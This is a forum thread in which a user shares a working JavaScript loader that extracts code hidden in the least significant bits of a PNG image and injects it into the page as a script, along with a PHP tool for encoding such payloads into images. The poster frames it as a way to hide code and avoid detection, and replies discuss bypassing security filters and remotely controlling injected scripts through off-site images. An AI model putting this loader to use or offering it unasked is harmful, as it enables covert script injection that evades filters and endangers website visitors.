Jump to content

Javascript Image Obfuscation


fugu
 Share

Recommended Posts

So a while back I read about a clip of javascript that used images to hide html/js code to avoid detection, but it was obvious that the image was malformed just by looking at it. I wrote this code (by modifying the code found in the wild) to use steganography to hide the code and make it a little harder to detect.

html:

<html>
<head>
</head>
<body>
<img id='output' src='./cat_new.png' />
<script type="text/javascript" src="./inject.js"></script>
</body>
</html>
inject.js:

var canvas = document.createElement("canvas");
if (canvas.getContext) {
	var context = canvas.getContext("2d");
	if (context.getImageData) {
		var img = document.getElementById("output");
		img.onload = function() {
			context.drawImage(this,0,0);
			var data = context.getImageData(0,0,this.offsetWidth,this.offsetHeight).data;
			var p = -1;
			var by = [];
			for (var i=0;i<data.length;i++) {
				by[++p] = data[4*i+0] & 0x01;
				by[++p] = data[4*i+1] & 0x01;
				by[++p] = data[4*i+2] & 0x01;
			};
			var a = [];
			p = -1;
			var n = Math.floor(by.length/8);
			for (var i=0;i<n;i++){
				var bt = 0;
				bt += by[8*i+0]*0x01;
				bt += by[8*i+1]*0x02;
				bt += by[8*i+2]*0x04;
				bt += by[8*i+3]*0x08;
				bt += by[8*i+4]*0x10;
				bt += by[8*i+5]*0x20;
				bt += by[8*i+6]*0x40;
				bt += by[8*i+7]*0x80;
				if(bt > 0)
					a[++p] = String.fromCharCode(bt);
			}
			var dtn = document.createElement('script');
			dtn.innerHTML = a.join("");
			document.body.appendChild(dtn);
		}
	}
}
a basic encoder/decoder

simple_steganography_example.php:

<?php
// Requires php5-cli and php5-gd installed (you might be able to use a server version of php but you'll need to hardcode your message in this script)
// Use: $ php simple_steganography_example.php "Message goes here"
	function set_bit_on_byte($bit_index, $current_bit, $byte){
		if($byte < 0 || $byte > 255){
			exit();
		}
		if($current_bit != 0 && $current_bit != 1){
			exit();
		}
		if(($bit_index % 8) == 0)
			return (0xFE & $byte) + ($current_bit * 0x01);
		else if(($bit_index % 8) == 1)
			return (0xFD & $byte) + ($current_bit * 0x02);
		else if(($bit_index % 8) == 2)
			return (0xFB & $byte) + ($current_bit * 0x04);
		else if(($bit_index % 8) == 3)
			return (0xF7 & $byte) + ($current_bit * 0x08);
		else if(($bit_index % 8) == 4)
			return (0xEF & $byte) + ($current_bit * 0x10);
		else if(($bit_index % 8) == 5)
			return (0xDF & $byte) + ($current_bit * 0x20);
		else if(($bit_index % 8) == 6)
			return (0xBF & $byte) + ($current_bit * 0x40);
		else if(($bit_index % 8) == 7)
			return (0x7F & $byte) + ($current_bit * 0x80);
		else
			exit();
	}

	function get_bit_on_byte($bit_index, $byte){
		if(($bit_index % 8) == 0)
			return ($byte & 0x01) == 0?0:1;
		else if(($bit_index % 8) == 1)
			return ($byte & 0x02) == 0?0:1;
		else if(($bit_index % 8) == 2)
			return ($byte & 0x04) == 0?0:1;
		else if(($bit_index % 8) == 3)
			return ($byte & 0x08) == 0?0:1;
		else if(($bit_index % 8) == 4)
			return ($byte & 0x10) == 0?0:1;
		else if(($bit_index % 8) == 5)
			return ($byte & 0x20) == 0?0:1;
		else if(($bit_index % 8) == 6)
			return ($byte & 0x40) == 0?0:1;
		else if(($bit_index % 8) == 7)
			return ($byte & 0x80) == 0?0:1;
		else
			exit();
	}


	function read_stego($filename){
		$im = imagecreatefrompng($filename);
		if($im === false){
			echo "Error: bad image format ".$filename.PHP_EOL;
			exit();
		}
		$a = getimagesize($filename);
		$code_height_start = 0;
		$code_height_end = $a[0];
		$code_width_start = 0;
		$code_width_end = $a[1];

		$bit_ary = array();
		for ($j=$code_width_start; $j<$code_width_end; $j++){
			for ($i=$code_height_start; $i<$code_height_end; $i++){
				$rgb = imagecolorat($im, $i, $j);
				$r = ($rgb >> 16) & 0x01;
				$g = ($rgb >> 8) & 0x01;
				$b = $rgb & 0x01;
				$bit_ary[] = $r;
				$bit_ary[] = $g;
				$bit_ary[] = $b;
			}
		}
		// $bit_ary is now the $stack input string, just in a { 1, 0, 0, 1, 0, 1, 1, 1, ... } formated array
		$n = intval(floor(count($bit_ary)/8)); //throw out last partial byte
		$stack = '';
		for($i=0; $i < $n; $i++){
			$current_byte = 0;
			$current_byte = set_bit_on_byte(0, $bit_ary[$i*8], $current_byte);
			$current_byte = set_bit_on_byte(1, $bit_ary[$i*8+1], $current_byte);
			$current_byte = set_bit_on_byte(2, $bit_ary[$i*8+2], $current_byte);
			$current_byte = set_bit_on_byte(3, $bit_ary[$i*8+3], $current_byte);
			$current_byte = set_bit_on_byte(4, $bit_ary[$i*8+4], $current_byte);
			$current_byte = set_bit_on_byte(5, $bit_ary[$i*8+5], $current_byte);
			$current_byte = set_bit_on_byte(6, $bit_ary[$i*8+6], $current_byte);
			$current_byte = set_bit_on_byte(7, $bit_ary[$i*8+7], $current_byte);
			$stack .= chr($current_byte);
		}
		imagedestroy($im);
		return $stack;
	}

	function write_stego($input_filename, $output_filename, $str){
		$im = imagecreatefrompng($input_filename);
		$a = getimagesize($input_filename, $imageinfo);

		$code_height_start = 0;
		$code_height_end = $a[0];
		$code_width_start = 0;
		$code_width_end = $a[1];
		$im2 = imagecreatetruecolor($code_height_end, $code_width_end);

		$bit_index = 0;
		$current_byte = 0;
		$stack = $str;
		$max_num_bits = ($code_height_end - $code_height_start) * ($code_width_end - $code_width_start) * 3;
		$max_num_bytes = floor($max_num_bits/8);
		$n = strlen($str);
		$bit_ary = array();
		if( $n > $max_num_bytes ){
			imagedestroy($im);
			imagedestroy($im2);
			echo "Error: input string too long, limit input string to ".$max_num_bytes." for the image: ".$input_filename.PHP_EOL;
			exit();
		}
		for($i=0; $i < $n; $i++){
			$current_char = substr($str, $i, 1);
			$bit_ary[] = get_bit_on_byte(0, ord($current_char));
			$bit_ary[] = get_bit_on_byte(1, ord($current_char));
			$bit_ary[] = get_bit_on_byte(2, ord($current_char));
			$bit_ary[] = get_bit_on_byte(3, ord($current_char));
			$bit_ary[] = get_bit_on_byte(4, ord($current_char));
			$bit_ary[] = get_bit_on_byte(5, ord($current_char));
			$bit_ary[] = get_bit_on_byte(6, ord($current_char));
			$bit_ary[] = get_bit_on_byte(7, ord($current_char));
		} // $bit_ary is now the $str input string in a { 1, 0, 0, 1, 0, 1, 1, 1, ... } format array
		$bit_index = 0;
		for ($j=$code_width_start; $j<$code_width_end; $j++){
			for ($i=$code_height_start; $i<$code_height_end; $i++){
				$rgb = imagecolorat($im, $i, $j);
				$current_bit = 0;
				if($bit_index < count($bit_ary)){
					$current_bit = $bit_ary[$bit_index];
				}
				$r = (($rgb >> 16) & 0xFE) + $current_bit;
				$bit_index++;
				$current_bit = 0;
				if($bit_index < count($bit_ary)){
					$current_bit = $bit_ary[$bit_index];
				}
				$g = (($rgb >> 8) & 0xFE) + $current_bit;
				$bit_index++;
				$current_bit = 0;
				if($bit_index < count($bit_ary)){
					$current_bit = $bit_ary[$bit_index];
				}
				$b = ($rgb & 0xFE) + $current_bit;
				$bit_index++;
				imagesetpixel($im2, $i, $j, imagecolorallocate($im2, $r, $g, $b));
			}
		}
		imagepng($im2, $output_filename);
		imagedestroy($im);
		imagedestroy($im2);
	}

	$input_filename = './cat.png';
	$output_filename = './cat_new.png';
	if(isset($argv[1])){
		write_stego($input_filename, $output_filename, $argv[1]);
	}else{
		echo read_stego($output_filename);
	}
?>
Edited by fugu
Link to comment
Share on other sites

Ctrl + P, I'm going to read this one. Thanks for the share. Just curious, doesn't minification of JS and now that I think of it combined with obfuscation do the same thing? Basically minification is a process whereby all whitespace is removed from JS code. So occassionally you'll see some libraries in JS used on certain pages, like Angular or JQuery which has actually been minified so it is essentially unlegible. I am assuming that the lack of whitespace would also create problems for AV parsers due to the fact that JS is interpreted, not compiled, but I'm not sure.

I wish there was a "Practical" stego book for sale somewhere. I got a stego book a while back, and the amount of calculus in it made it almost impenetrable. The stego book I have is kind of a long term goal at this point.

Edited by overwraith
Link to comment
Share on other sites

Ctrl + P, I'm going to read this one. Thanks for the share. Just curious, doesn't minification of JS and now that I think of it combined with obfuscation do the same thing? Basically minification is a process whereby all whitespace is removed from JS code. So occassionally you'll see some libraries in JS used on certain pages, like Angular or JQuery which has actually been minified so it is essentially unlegible. I am assuming that the lack of whitespace would also create problems for AV parsers due to the fact that JS is interpreted, not compiled, but I'm not sure.

I wish there was a "Practical" stego book for sale somewhere. I got a stego book a while back, and the amount of calculus in it made it almost impenetrable. The stego book I have is kind of a long term goal at this point.

In this instance, he's hiding the JS in an image file, so it's in a separate file where the payload is. By calling the image using special scripting, you could potentially bypass filters that would look for dangerous JS in plain text or based on file extensions, vs in a binary file which may get past weak filters. I can see advertisers doing shady stuff like this which hijack pages and probably not reinventing the wheel so much as his take on a concept, which sounds like it could work in the right scenarios. The trick would be proper obfuscation so the image loads like a normal image, with maybe varying broken bits due to the stenography, when done right, most stego images don't change in appearance much if at all. Depends on the size of the payload.

Link to comment
Share on other sites

Yup your right, this is a real basic stegano, and the "cat_new.png" file visually looks just identical to the cat.png file. It loads just the same as a normal png file does, but the important js data is stored in all of the Least Significant Bits of each of the red, green, and blue colors for each pixel. The page loads identical to way the page would load normally, but will also execute the additional js hidden in the image. because its possible for images on sites to be loaded from off-site, the server running the website might only look at files on their own site and not the image thats off-site. It would also allow you to maintain control of js code remotely if you can modify the image file. And this doesn't use calculus at all, but does use discrete math quite a little bit. Changing bits to bytes and back again.

Link to comment
Share on other sites

I guess the problem is the book I picked up liked to express the "stealthiness" of algorithms in terms of calculus equations. You know, summations and all that jazz. Steganography in digital media by Fridrich. Even as somebody who has taken calculus, I have no desire to return death's ground. You would think that "Oh, programming is just the implementation of math..." no, not all programming is. Much of it is more of a vocabulary, documentation, and best practices thing. Sure I am betting I will be exposed to more and more math, but there's only so much you can expect from entry coders. There are also some forms of math which are better explained than others.

Edited by overwraith
Link to comment
Share on other sites

  • 2 weeks later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...